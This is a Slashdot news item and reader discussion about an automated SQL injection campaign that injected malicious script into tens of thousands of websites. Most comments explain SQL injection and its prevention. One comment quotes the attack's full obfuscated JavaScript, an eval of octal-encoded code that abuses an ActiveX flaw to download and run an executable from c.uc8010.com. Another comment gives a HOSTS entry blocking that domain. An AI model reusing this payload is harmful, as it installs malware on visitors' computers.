Slashdot Log In
Mass Hack Infects Tens of Thousands of Sites
Posted by
kdawson
on Tuesday January 08, @08:09AM
from the stay-safe-out-there dept.
from the stay-safe-out-there dept.
An anonymous reader writes "Tens of thousands of Web sites have been compromised by an automated SQL injection attack, and although some have been cleaned, others continue to serve visitors a malicious script that tries to hijack their PCs using multiple exploits, security experts said this weekend. Hacked sites included both .edu and .gov domains, the SANS Institute's Internet Storm Center reported in a warning posted last Friday. The ISC also reported that several pages of security vendor CA's Web site had been infected. Roger Thompson, the chief research officer at Grisoft, pointed out that the hacked sites could be found via a simple Google search for the domain that hosts the malicious JavaScript. On Saturday, said Thompson, the number of sites that had fallen victim to the attack numbered more than 70,000. 'This was a pretty good mass hack,' said Thompson, in a post to his blog." By Sunday a second round of the same attack had infected over 90,000 servers.
Related Stories
Firehose:Mass hack infects tens of thousands of sites by Anonymous Coward
Mass Hack Infects Tens of Thousands of Sites
|
Log In/Create an Account
| Top
| 259 comments
| Search Discussion
The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.
Okay Hands Up... (Score:2, Funny)
I am no fan of malicious hacking, but my inner geek always stirs when I read something like this, much like watching someone in the real world accomplishing an amazing but insane feat, like those guys with the squirrel suits base-jumping, or something *cough*
Question, where any *nix or L*X machines compromised? Might be a dumb question, so bash me all you want if it was...
Re:Okay Hands Up... (Score:5, Insightful)
I don't know about "awesome," my first thoughts were along the lines of "oh...for fuck's sake..." and "how do I check?"
While I share your appreciation of feats, I'd prefer the feat achieved to be a positive application of the knowledge rather than a mass-hack.
But hey; that's just me being a grumpy old folk I guess.
Re:Okay Hands Up... (Score:5, Informative)
Re:Okay Hands Up... (Score:4, Funny)
Re:Okay Hands Up... (Score:4, Insightful)
Re:Okay Hands Up... (Score:5, Funny)
If only they had little Bobby Tables doing the testing.
Re:Okay Hands Up... (Score:5, Informative)
1. SQL-Query for all tables in the database
2. Search for text-columns in table
3. add script-tag to every entry in those columns
4. hope at least some of those entries get included into the webpage without filtering (or escaping) the injected HTML
No need for FS access or root rights (as another
Re:Okay Hands Up... (Score:4, Insightful)
Re:Okay Hands Up... (Score:5, Informative)
This attack has nothing to do with system access of the database server. Other than the fact that the specific exploit looks to sysobjects, there is nothing specific about this attack to MS SQL Server at all. This same kind of attack would work just as well on any other web server with an application using any other database. The problem isn't that the web server or the database has a vulnerability, rather that the specific web application itself does. SQL injection attacks are stupidly common because the people who write web applications, on any platform, simply ignore written secure programming conventions.
For those who don't know what SQL injection is, it is caused when the web application does something stupid like concatenate unvalidated user input directly into a SQL string that is then sent to the database. This enables the attacker to pass user input which contains portions of SQL that will be also be sent to the database and executed under the security context of the web application. More often than not the developer who made this stupid mistake also made the stupid mistake of connecting to the database using significantly higher privileges than necessary, possibly even root/admin level privileges. Thus, the attacker can do virtually anything they want, from inserting new data to dropping objects and breaking the web application entirely, if they felt like it.
Basic rules when developing a database-driven web site:
1. Never concat input into SQL. In fact, avoid dynamic SQL entirely. Use stored procedures with parameter binding so that user input can never be used to inject SQL statements to the database.
2. Always validate/encode user input. Even if you stave off SQL injection it's still possible for an attacker to attempt to hide HTML or JavaScript in their input. If the web application stores and displays the information as it has been entered it would be possible for the attacker to embed malicious script into the content sent to the browser. Most frameworks have the ability to find this material in user input, or you could encode it so that it's not executed by the browser and shown as plain text.
3. Always use a database connection with the lowest necessary priveleges. This reduces the possible attack surface by preventing a successful attack from having the leverage to compromise the data or the database server itself. Couple this with item 1 and you have a security context in which the web application can only execute a handful of stored procedures and cannot directly read/write to any of the user tables.
Phew! Nothing to see here! (Score:3, Funny)
My darling Apache and PostgreSQL may you never let evildoers overflow your fair buffers.
*wipes brow*
Re:You should still be careful. (Score:5, Informative)
This exploit did not require compromising the web server, or the database server. It required compromising the programming of the web application. Such an attack would work similarly on any combination of web server and database server, if it had been so designed.
As for the client exploit, yes that would have been tougher. They did rely on a specific ActiveX exploit to compromise the clients. But they could have just as easily use poorly written Apache/PGSQL sites to push that malicious script.
this kinda of crap anin't gonna stop until: (Score:2, Interesting)
trying to identify and exclude malware has fallen short of meeting our needs
and that demonstration continues week after week after week after week as the hacking gets worse and worse
if we are going to use the internet for business purposes this is UNACCEPTABLE. Change has to happen.
NO SIGNATURE? NO EXECUTE.
Re:this kinda of crap anin't gonna stop until: (Score:4, Funny)
Re:dumb or troll ? (Score:5, Informative)
This is an SQL injection attack. That is when a poorly-written application does not sanitize its input, and passes it onto a database server as part of a SQL script. The malicious input terminates the command the application was running and starts some other command running. It has no access to anything in the system other than the data in the database - which is all this attack compromised. However, that data in tht database was then used by the application to render html output, which then passed the exploit scripts onto web clients.
This is analogous to a trojan that wipes out all of a user's files in ~ in unix. Simply running as non-root will do nothing to prevent it from working - the user has access to delete their own files already.
The attack merely used the applications write-access to its own database to modify the database contents - something that is nearly impossible to automatically protect against at the database server level. However, almost all database servers (including SQL Server I'm sure) does offer a semi-manual form of protection - a parametized query. If you prepare a query and put parameters in it, and then pass on user-input data in the parameters, the server will refuse to use the user-input data as anything other than data. Application authors just need to use this feature...
Re:dumb or troll ? (Score:4, Informative)
Webserver user should only have read access to only the tables required. Writes should always go through stored procedures. The SP has write access but not the user. The SP must also do a second (or third) scrubbing of the data.
It can also make sense to have to databases. One that serves the web pages and another that handles updates.
Protect yourself with AdBlock (Score:5, Informative)
Add this simple rule:
Yaz.
Protect yourself with HOSTS (Score:5, Informative)
Another approach is to just block it in your HOSTS file:
127.0.0.1 uc8010.com
Or, even better, use an updated HOSTS file which has entries to block malicious sites: (on last check, this blocked over 16,000 addresses!): http://www.mvps.org/winhelp2002/hosts.zip [mvps.org]
Description and explanation is here [mvps.org].
The aim of the hack (Score:2)
That is one impressive hack. (Score:2)
The only thing I can figure is that either
Must...not...make...joke... (Score:1, Redundant)
NoScript (Score:3, Interesting)
Good acts of violence (Score:4, Insightful)
Its a bad attack, its bad that its been successful and the people who did it are scum. These aren't some rebels fighting against the system they are criminal scum who are aiming to inflict damage on large numbers of people. Remember all those times when you have to clean up your parents/in-law/friends computers because they get compromised by this crap? Well the scum behind this have just given you a whole lot more time doing crappy boring work.
Spooky coincidence...? (Score:1)
RealPlayer Exploit? (Score:1)
This is NOT a mass attack (Score:2, Informative)
I noticed some similarity... (Score:2, Interesting)
So far Midphase has refused to take the scam site off line, even though it's seems these Chinese crackers are affiliated.
Google engine to the rescue.. (Score:1)
So what does it do? (Score:1)
document.writeln("");
document.writeln("");
eval("\146\165\156\143\164\151\157\156\40\147\156\50\162\122\141\107\105\171\153\125\61\51\15\12\173\15\12\166\141\162\40\117\162\150\62\75\167\151\156\144\157\167\133\42\115\141\164\150\42\135\133\42\162\141\156\144\157\155\42\135\50\51\52\162\122\141\107\105\171\153\125\61\73\15\12\162\145\164\165\162\156\47\176\164\155\160\47\53\47\56\164\155\160\47\15\12\175\15\12\146\165\156\143\164\151\157\156\40\104\157\167\156\105\50\106\151\154\145\125\122\114\54\114\157\143\141\154\106\151\154\145\51\15\12\173\15\12\164\162\171\15\12\173\15\12\166\151\160\75\106\151\154\145\125\122\114\73\15\12\166\141\162\40\143\150\145\156\172\151\75\167\151\156\144\157\167\133\42\144\157\143\165\155\145\156\164\42\135\133\42\143\162\145\141\164\145\105\154\145\155\145\156\164\42\135\50\42\157\142\152\145\143\164\42\51\73\15\12\143\150\145\156\172\151\133\42\163\145\164\101\164\164\162\151\142\165\164\145\42\135\50\42\143\154\141\163\163\151\144\42\54\42\143\154\163\151\144\72\102\104\71\66\103\65\65\66\55\66\65\101\63\55\61\61\104\60\55\71\70\63\101\55\60\60\103\60\64\106\103\62\71\105\63\66\42\51\73\15\12\166\141\162\40\160\163\75\143\150\145\156\172\151\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\115\151\143\162\157\163\157\146\164\56\130\115\114\110\124\124\120\42\54\42\42\51\73\15\12\166\141\162\40\154\157\166\145\75\143\150\145\156\172\151\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\101\144\157\144\142\56\123\164\162\145\141\155\42\54\42\42\51\73\15\12\154\157\166\145\133\42\164\171\160\145\42\135\75\61\73\15\12\160\163\133\42\157\160\145\156\42\135\50\42\107\105\124\42\54\166\151\160\54\60\51\73\15\12\160\163\133\42\163\145\156\144\42\135\50\51\73\15\12\143\150\151\156\141\75\147\156\50\61\60\60\60\60\51\53\114\157\143\141\154\106\151\154\145\73\15\12\166\141\162\40\150\110\146\44\122\66\75\143\150\145\156\172\151\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\123\143\162\151\160\164\151\156\147\56\106\151\154\145\123\171\163\164\145\155\117\142\152\145\143\164\42\54\42\42\51\73\15\12\166\141\162\40\126\147\104\156\132\130\110\164\67\75\150\110\146\44\122\66\133\42\107\145\164\123\160\145\143\151\141\154\106\157\154\144\145\162\42\135\50\60\51\73\15\12\143\150\151\156\141\75\150\110\146\44\122\66\133\42\102\165\151\154\144\120\141\164\150\42\135\50\126\147\104\156\132\130\110\164\67\54\143\150\151\156\141\51\73\15\12\154\157\166\145\133\42\117\160\145\156\42\135\50\51\73\15\12\154\157\166\145\133\42\127\162\151\164\145\42\135\50\160\163\133\42\162\145\163\160\157\156\163\145\102\157\144\171\42\135\51\73\15\12\154\157\166\145\133\42\123\141\166\145\124\157\106\151\154\145\42\135\50\143\150\151\156\141\54\62\51\73\15\12\154\157\166\145\133\42\103\154\157\163\145\42\135\50\51\73\15\12\166\141\162\40\123\155\101\143\161\111\167\107\126\70\75\143\150\145\156\172\151\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\123\150\145\154\154\56\101\160\160\154\151\143\141\164\151\157\156\42\54\42\42\51\73\15\12\145\170\160\61\75\150\110\146\44\122\66\133\42\102\165\151\154\144\120\141\164\150\42\135\50\126\147\104\156\132\130\110\164\67\53\47\134\134\163\171\163\164\145\155\63\62\47\54\47\143\155\144\56\145\170\145\47\51\73\15\12\123\155\101\143\161\111\167\107\126\70\133\42\123\150\145\154\154\105\170\145\143\165\164\145\42\135\50\145\170\160\61\54\47\40\57\143\40\47\53\143\150\151\156\141\54\42\42\54\42\157\160\145\156\42\54\60\51\175\143\141\164\143\150\50\151\51\173\151\75\61\175\15\12\175\15\12\104\157\167\156\105\50\42\150\164\164\160\72\57\57\143\56\165\143\70\60\61\60\56\143\157\155\57\60\57\61\56\145\170\145\42\54\42\61\71\56\145\170\145\42\51\73")
Any idea?
targets only microsoft servers (Score:1, Flamebait)
I think that's a relevant aspect to report. This is yet another MS-based vulnerability. It also makes sense since IIS servers are more likely to be serving the much less secure IE client.
compromised servers (Score:2)
http://www.google.com/search?q=src%3Dhttp%3A%2F%2Fc.uc8010 [google.com]
There may be more - I used a specific reference to c.uc8010. Right now, Google shows 24,000 infected pages.
It looks like all the servers are IIS. Running
This is the problem with programming. You can't "idiot proof" a web site if the biggest idiot is the guy you've hired to write the application.
The real question... what application? (Score:1)
command.Parameters.AddWithValue (Score:2)
Serisouly, this is stupid. M$ has gone to great lengths to make it stupid easy to bind variables easy to use. Any developer working with System.Data should know better. Hell, any developer (period) should know better. PHP, Java, and pretty much every language that allows working with databases has a way to safely bind variables. Since this hack was targetd at M$ servers I'll give an example in C#...
To put is simply: if you're doing something like:
The code to secure the SQL you're sending the server to execute is so easy it huts. Now, follow me here...
I've seen too many "educated" developers attempt to do their own sql cleaning. Just assume you can't do it, because if you get it wrong your hosed - use the available libraries!
Re:SQL injection (Score:1)
I don't know. Have you seen some of the drivers on the road?
But yes, I agree. You should not operate a vehicle without knowing how to use it. And, just because you own a sports car, does not make you a professional drive.
I would like to see computer users with more knowledge and more security awareness. However, it is easy to throw some HTML/ASP/whatever on to a website. How can we let novice users create "secure" sites without banning them the web?
Re:SQL injection (Score:5, Funny)
I will gnaw my leg of if this dribble gets modded up.
Re:SQL injection (Score:4, Insightful)
So far, so good, it's still at 1.
I am astounded at the (much more than usual) level of misunderstanding of how the attack works. I've seen one correct comment, and much blathering idiocy!
Running LAMP might protect you from this particular attack only because it is looking for table/column information the MS-SQL way. If you aren't taking effective steps to prevent SQL injection (which has nothing to do with "gaining root"), only luck is keeping it from happening to your LAMP system.
Re:Not surprised (Score:5, Informative)
Re:Not surprised (Score:5, Interesting)
Do you want to know what is even scarier?
In many corporate internal applications, SQL Injections are treated as if they do not exist. I have pointed out many times in several projects I have worked on that any malevolent person could do some very very nasty things. They don't care... "It's not open on the Internet". I just hope we'll never have a disgruntled employee that is a bit more geeky than the others.
*sigh*
Little Bobby Tables [xkcd.com]
Just One Example (Score:5, Funny)
Re:SQL injection (Score:2)
Re:It must be horrible (Score:2)
I don't know HOW many PHP-based websites were vunerable to SQL Injection with a backend of MySQL or even Oracle!
Re:Default installation attack (Score:1)
Companies have been looking for all-in-one IT employees more of late. Offshoring is perhaps part of the reason, and shaving a buck is the other.
Let's watch IIS share crash. Don't Blame Users. (Score:1)
This exploit should turn the little M$ tick down into a real trend [netcraft.com]. This is what happens when you try to use a badly designed consumer grade OS for web service. Let's hope companies take the hint and run back to Apache before something really bad happens.
People trying to pass the buck onto tens of thousands of individual programmers at tens of thousands of different institutions should ask yourselves why this has not happened with LAMP. If it was a market share thing, LAMP would have fallen long ago. It's not market share or users, it's a monoculture problem.
Re:It's a vulnerability in MS-SQL you asshats (Score:2)
Re:It must be horrible (Score:2)
Standard plain-vanilla, no-unpatched-vuln-needed was used to run commands on the db, which was used to inject script to CLOB fields that were output to dynamic web pages.
IE browsers that then browsed those websites hit that script, which exploited the MDAC vuln on desktop machines, to steal stuff on desktops.